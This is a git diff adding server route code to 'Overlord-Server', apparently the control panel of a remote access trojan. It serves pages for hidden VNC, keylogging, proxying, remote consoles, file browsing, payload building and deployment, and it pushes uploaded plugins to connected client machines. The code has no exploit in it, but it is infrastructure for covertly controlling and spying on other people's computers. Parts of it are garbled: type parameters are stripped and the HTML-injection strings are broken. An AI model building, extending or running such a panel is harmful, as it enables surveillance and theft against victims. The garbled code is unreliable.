diff --git a/Overlord-Server/src/server/routes/page-routes.ts b/Overlord-Server/src/server/routes/page-routes.ts
new file mode 100644
index 0000000..384d7db
--- /dev/null
+++ b/Overlord-Server/src/server/routes/page-routes.ts
@@ -0,0 +1,316 @@
+import { authenticateRequest } from "../../auth";
+import { requirePermission } from "../../rbac";
+import { getUserById } from "../../users";
+
+type PageRouteDeps = {
+ PUBLIC_ROOT: string;
+ secureHeaders: (contentType?: string) => Record;
+ mimeType: (path: string) => string;
+};
+
+async function serveLoginOrUnauthorized(deps: PageRouteDeps): Promise {
+ const loginFile = Bun.file(`${deps.PUBLIC_ROOT}/login.html`);
+ if (await loginFile.exists()) {
+ return new Response(loginFile, { headers: deps.secureHeaders(deps.mimeType("/login.html")) });
+ }
+ return new Response("Unauthorized", { status: 401 });
+}
+
+async function serveChangePasswordIfRequired(
+ deps: PageRouteDeps,
+ userId: number,
+): Promise {
+ const dbUser = getUserById(userId);
+ if (dbUser && dbUser.must_change_password) {
+ const changePassFile = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
+ if (await changePassFile.exists()) {
+ return new Response(changePassFile, {
+ headers: deps.secureHeaders(deps.mimeType("/change-password.html")),
+ });
+ }
+ }
+ return null;
+}
+
+export async function handlePageRoutes(
+ req: Request,
+ url: URL,
+ deps: PageRouteDeps,
+): Promise {
+ if (req.method === "GET" && (url.pathname === "/" || url.pathname === "/index.html")) {
+ const authed = await authenticateRequest(req);
+
+ if (authed) {
+ const maybeChange = await serveChangePasswordIfRequired(deps, authed.userId);
+ if (maybeChange) return maybeChange;
+ }
+
+ const filePath = authed ? "/index.html" : "/login.html";
+ const file = Bun.file(`${deps.PUBLIC_ROOT}${filePath}`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType(filePath)) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/change-password.html") {
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/change-password.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("/change-password.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/remotedesktop") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
+ if (maybeChange) return maybeChange;
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+ }
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/remotedesktop.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("remotedesktop.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/hvnc") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
+ if (maybeChange) return maybeChange;
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+ }
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/hvnc.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("hvnc.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/metrics") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
+ if (maybeChange) return maybeChange;
+
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/metrics.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("metrics.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/logs") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
+ if (maybeChange) return maybeChange;
+
+ try {
+ requirePermission(user, "audit:view");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/logs.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("logs.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/notifications") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
+ if (maybeChange) return maybeChange;
+
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/notifications.html`);
+ if (await file.exists()) {
+ return new Response(file, {
+ headers: deps.secureHeaders(deps.mimeType("notifications.html")),
+ });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/users") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
+ if (maybeChange) return maybeChange;
+
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/users.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("users.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/build") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", { status: 403 });
+ }
+
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/build.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("build.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/plugins") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", { status: 403 });
+ }
+
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/plugins.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("plugins.html")) });
+ }
+ }
+
+ const consolePageMatch = url.pathname.match(/^\/(.+)\/console$/);
+ if (req.method === "GET" && consolePageMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+ }
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/console.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("console.html")) });
+ }
+ }
+
+ const filesPageMatch = url.pathname.match(/^\/(.+)\/files$/);
+ if (req.method === "GET" && filesPageMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+ }
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/filebrowser.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("filebrowser.html")) });
+ }
+ }
+
+ const processesPageMatch = url.pathname.match(/^\/(.+)\/processes$/);
+ if (req.method === "GET" && processesPageMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+ }
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/processes.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("processes.html")) });
+ }
+ }
+
+ const keyloggerPageMatch = url.pathname.match(/^\/(.+)\/keylogger$/);
+ if (req.method === "GET" && keyloggerPageMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+ }
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/keylogger.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("keylogger.html")) });
+ }
+ }
+
+ const proxyPageMatch = url.pathname.match(/^\/(.+)\/proxy$/);
+ if (req.method === "GET" && proxyPageMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
+ }
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/proxy.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("proxy.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/scripts") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role === "viewer") {
+ return new Response("Forbidden: Viewers cannot execute scripts", { status: 403 });
+ }
+
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/scripts.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("scripts.html")) });
+ }
+ }
+
+ if (req.method === "GET" && url.pathname === "/deploy") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return serveLoginOrUnauthorized(deps);
+ }
+
+ if (user.role !== "admin") {
+ return new Response("Forbidden: Admin access required", { status: 403 });
+ }
+
+ const file = Bun.file(`${deps.PUBLIC_ROOT}/deploy.html`);
+ if (await file.exists()) {
+ return new Response(file, { headers: deps.secureHeaders(deps.mimeType("deploy.html")) });
+ }
+ }
+
+ return null;
+}
diff --git a/Overlord-Server/src/server/routes/plugin-routes.ts b/Overlord-Server/src/server/routes/plugin-routes.ts
new file mode 100644
index 0000000..4116ce7
--- /dev/null
+++ b/Overlord-Server/src/server/routes/plugin-routes.ts
@@ -0,0 +1,465 @@
+import fs from "fs/promises";
+import path from "path";
+import { v4 as uuidv4 } from "uuid";
+import { authenticateRequest } from "../../auth";
+import { requirePermission } from "../../rbac";
+import * as clientManager from "../../clientManager";
+import { metrics } from "../../metrics";
+import { encodeMessage } from "../../protocol";
+
+type PluginManifest = {
+ id: string;
+ name: string;
+};
+
+type PluginBundle = {
+ manifest: PluginManifest;
+ wasm: Uint8Array;
+};
+
+type PluginState = {
+ enabled: Record;
+ lastError: Record;
+};
+
+type PluginRouteDeps = {
+ PLUGIN_ROOT: string;
+ pluginState: PluginState;
+ pluginLoadedByClient: Map>;
+ pluginLoadingByClient: Map>;
+ pendingPluginEvents: Map>;
+ sanitizePluginId: (name: string) => string;
+ ensurePluginExtracted: (pluginId: string) => Promise;
+ savePluginState: () => Promise;
+ listPluginManifests: () => Promise;
+ loadPluginBundle: (pluginId: string) => Promise;
+ sendPluginBundle: (target: any, bundle: PluginBundle) => void;
+ markPluginLoading: (clientId: string, pluginId: string) => void;
+ isPluginLoaded: (clientId: string, pluginId: string) => boolean;
+ isPluginLoading: (clientId: string, pluginId: string) => boolean;
+ enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
+ secureHeaders: (contentType?: string) => Record;
+ securePluginHeaders: () => Record;
+ mimeType: (path: string) => string;
+};
+
+export async function handlePluginRoutes(
+ req: Request,
+ url: URL,
+ deps: PluginRouteDeps,
+): Promise {
+ if (
+ !url.pathname.startsWith("/api/plugins") &&
+ !url.pathname.startsWith("/plugins/") &&
+ !url.pathname.match(/^\/api\/clients\/.+\/plugins/)
+ ) {
+ return null;
+ }
+
+ if (req.method === "GET" && url.pathname === "/api/plugins") {
+ if (!(await authenticateRequest(req))) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ const plugins = await deps.listPluginManifests();
+ const enriched = plugins.map((p) => ({
+ ...p,
+ enabled: deps.pluginState.enabled[p.id] !== false,
+ lastError: deps.pluginState.lastError[p.id] || "",
+ }));
+ return Response.json({ plugins: enriched });
+ }
+
+ const clientPluginsMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins$/);
+ if (req.method === "GET" && clientPluginsMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const clientId = clientPluginsMatch[1];
+ const loaded = deps.pluginLoadedByClient.get(clientId) || new Set();
+ const manifests = await deps.listPluginManifests();
+ const plugins = manifests.map((manifest) => ({
+ id: manifest.id,
+ name: manifest.name || manifest.id,
+ loaded: loaded.has(manifest.id),
+ enabled: deps.pluginState.enabled[manifest.id] !== false,
+ lastError: deps.pluginState.lastError[manifest.id] || "",
+ }));
+ return Response.json({ plugins });
+ }
+
+ if (req.method === "POST" && url.pathname === "/api/plugins/upload") {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", { status: 403 });
+ }
+
+ let form: FormData;
+ try {
+ form = await req.formData();
+ } catch {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ const file = form.get("file");
+ if (!(file instanceof File)) {
+ return new Response("Missing file", { status: 400 });
+ }
+
+ const filename = file.name || "plugin.zip";
+ if (!filename.toLowerCase().endsWith(".zip")) {
+ return new Response("Only .zip files are supported", { status: 400 });
+ }
+
+ const base = path.basename(filename, path.extname(filename));
+ let pluginId = "";
+ try {
+ pluginId = deps.sanitizePluginId(base);
+ } catch {
+ return new Response("Invalid plugin name", { status: 400 });
+ }
+
+ await fs.mkdir(deps.PLUGIN_ROOT, { recursive: true });
+ const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
+ const data = new Uint8Array(await file.arrayBuffer());
+ await fs.writeFile(zipPath, data);
+
+ try {
+ await deps.ensurePluginExtracted(pluginId);
+ } catch (err) {
+ return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
+ }
+
+ if (deps.pluginState.enabled[pluginId] === undefined) {
+ deps.pluginState.enabled[pluginId] = true;
+ await deps.savePluginState();
+ }
+
+ return Response.json({ ok: true, id: pluginId });
+ }
+
+ const pluginEnableMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/enable$/);
+ if (req.method === "POST" && pluginEnableMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", { status: 403 });
+ }
+ let pluginId = "";
+ try {
+ pluginId = deps.sanitizePluginId(pluginEnableMatch[1]);
+ } catch {
+ return new Response("Invalid plugin id", { status: 400 });
+ }
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {}
+ const enabled = !!body.enabled;
+ deps.pluginState.enabled[pluginId] = enabled;
+ await deps.savePluginState();
+ return Response.json({ ok: true, id: pluginId, enabled });
+ }
+
+ const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/);
+ if (req.method === "DELETE" && pluginDeleteMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) {
+ return new Response("Unauthorized", { status: 401 });
+ }
+ if (user.role !== "admin" && user.role !== "operator") {
+ return new Response("Forbidden: Admin or operator access required", { status: 403 });
+ }
+
+ let pluginId = "";
+ try {
+ pluginId = deps.sanitizePluginId(pluginDeleteMatch[1]);
+ } catch {
+ return new Response("Invalid plugin id", { status: 400 });
+ }
+
+ const zipPath = path.join(deps.PLUGIN_ROOT, `${pluginId}.zip`);
+ const pluginDir = path.join(deps.PLUGIN_ROOT, pluginId);
+
+ try {
+ await fs.rm(zipPath, { force: true });
+ } catch {}
+
+ try {
+ await fs.rm(pluginDir, { recursive: true, force: true });
+ } catch {}
+
+ deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId));
+ deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId));
+ delete deps.pluginState.enabled[pluginId];
+ delete deps.pluginState.lastError[pluginId];
+ await deps.savePluginState();
+
+ return Response.json({ ok: true, id: pluginId });
+ }
+
+ const pluginLoadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/load$/);
+ if (req.method === "POST" && pluginLoadMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+ const targetId = pluginLoadMatch[1];
+ const pluginId = pluginLoadMatch[2];
+ const target = clientManager.getClient(targetId);
+ if (!target) return new Response("Not found", { status: 404 });
+ if (deps.isPluginLoaded(targetId, pluginId)) {
+ return Response.json({ ok: true, alreadyLoaded: true });
+ }
+ if (deps.isPluginLoading(targetId, pluginId)) {
+ return Response.json({ ok: true, loading: true });
+ }
+ try {
+ const bundle = await deps.loadPluginBundle(pluginId);
+ deps.markPluginLoading(targetId, pluginId);
+ deps.sendPluginBundle(target, bundle);
+ metrics.recordCommand("plugin_load");
+ return Response.json({ ok: true });
+ } catch (err) {
+ return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
+ }
+ }
+
+ const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/);
+ if (req.method === "POST" && pluginEventMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const targetId = pluginEventMatch[1];
+ const pluginId = pluginEventMatch[2];
+ const target = clientManager.getClient(targetId);
+ if (!target) return new Response("Not found", { status: 404 });
+ if (deps.pluginState.enabled[pluginId] === false) {
+ return Response.json({ ok: false, error: "Plugin disabled" }, { status: 400 });
+ }
+
+ let body: any = {};
+ try {
+ body = await req.json();
+ } catch {
+ body = {};
+ }
+ const event = typeof body.event === "string" ? body.event : "";
+ const payload = body.payload;
+ if (!event) {
+ return new Response("Bad request", { status: 400 });
+ }
+
+ if (!deps.isPluginLoaded(targetId, pluginId)) {
+ deps.enqueuePluginEvent(targetId, pluginId, event, payload);
+ if (!deps.isPluginLoading(targetId, pluginId)) {
+ try {
+ const bundle = await deps.loadPluginBundle(pluginId);
+ deps.markPluginLoading(targetId, pluginId);
+ deps.sendPluginBundle(target, bundle);
+ metrics.recordCommand("plugin_load");
+ } catch (err) {
+ return Response.json({ ok: false, error: (err as Error).message }, { status: 400 });
+ }
+ }
+ metrics.recordCommand("plugin_event");
+ return Response.json({ ok: true, queued: true });
+ }
+
+ target.ws.send(
+ encodeMessage({
+ type: "plugin_event",
+ pluginId,
+ event,
+ payload,
+ }),
+ );
+ metrics.recordCommand("plugin_event");
+ return Response.json({ ok: true });
+ }
+
+ const pluginUnloadMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/unload$/);
+ if (req.method === "POST" && pluginUnloadMatch) {
+ const user = await authenticateRequest(req);
+ if (!user) return new Response("Unauthorized", { status: 401 });
+ try {
+ requirePermission(user, "clients:control");
+ } catch (error) {
+ if (error instanceof Response) return error;
+ return new Response("Forbidden", { status: 403 });
+ }
+
+ const targetId = pluginUnloadMatch[1];
+ const pluginId = pluginUnloadMatch[2];
+ const target = clientManager.getClient(targetId);
+ if (!target) return new Response("Not found", { status: 404 });
+
+ target.ws.send(
+ encodeMessage({
+ type: "command",
+ commandType: "plugin_unload",
+ id: uuidv4(),
+ payload: { pluginId },
+ }),
+ );
+
+ deps.pluginLoadedByClient.get(targetId)?.delete(pluginId);
+ deps.pluginLoadingByClient.get(targetId)?.delete(pluginId);
+ deps.pendingPluginEvents.delete(`${targetId}:${pluginId}`);
+
+ return Response.json({ ok: true, id: pluginId });
+ }
+
+ const pluginFrameMatch = url.pathname.match(/^\/plugins\/([^/]+)\/frame$/);
+ if (req.method === "GET" && pluginFrameMatch) {
+ let pluginId = "";
+ try {
+ pluginId = deps.sanitizePluginId(pluginFrameMatch[1]);
+ } catch {
+ return new Response("Invalid plugin id", { status: 400 });
+ }
+
+ const htmlFile = path.join(deps.PLUGIN_ROOT, pluginId, "assets", `${pluginId}.html`);
+ const file = Bun.file(htmlFile);
+ if (!(await file.exists())) {
+ return new Response("Not found", { status: 404 });
+ }
+
+ const raw = await file.text();
+ const baseTag = ` `;
+ const bridgeTag = ``;
+ let injected = raw;
+
+ const headMatch = raw.match(/]*>/i);
+ if (headMatch) {
+ injected = raw.replace(headMatch[0], `${headMatch[0]}\n ${baseTag}`);
+ }
+
+ if (injected.includes("")) {
+ injected = injected.replace("", ` ${bridgeTag}\n `);
+ } else if (injected.includes("
+
+
+
+
+
+
+
+ ")) {
+ injected = injected.replace("", ` ${bridgeTag}\n`);
+ } else {
+ injected = `${bridgeTag}\n${injected}`;
+ }
+
+ return new Response(injected, {
+ headers: { ...deps.securePluginHeaders(), "Content-Type": "text/html; charset=utf-8" },
+ });
+ }
+
+ const pluginPageMatch = url.pathname.match(/^\/plugins\/([^/]+)$/);
+ if (req.method === "GET" && pluginPageMatch) {
+ let pluginId = "";
+ try {
+ pluginId = deps.sanitizePluginId(pluginPageMatch[1]);
+ } catch {
+ return new Response("Invalid plugin id", { status: 400 });
+ }
+
+ const clientId = url.searchParams.get("clientId") || "";
+ const bridgeToken = uuidv4();
+ const origin = url.origin;
+ const iframeSrc = `/plugins/${pluginId}/frame?clientId=${encodeURIComponent(clientId)}&token=${encodeURIComponent(bridgeToken)}&origin=${encodeURIComponent(origin)}`;
+
+ const html = `
+
+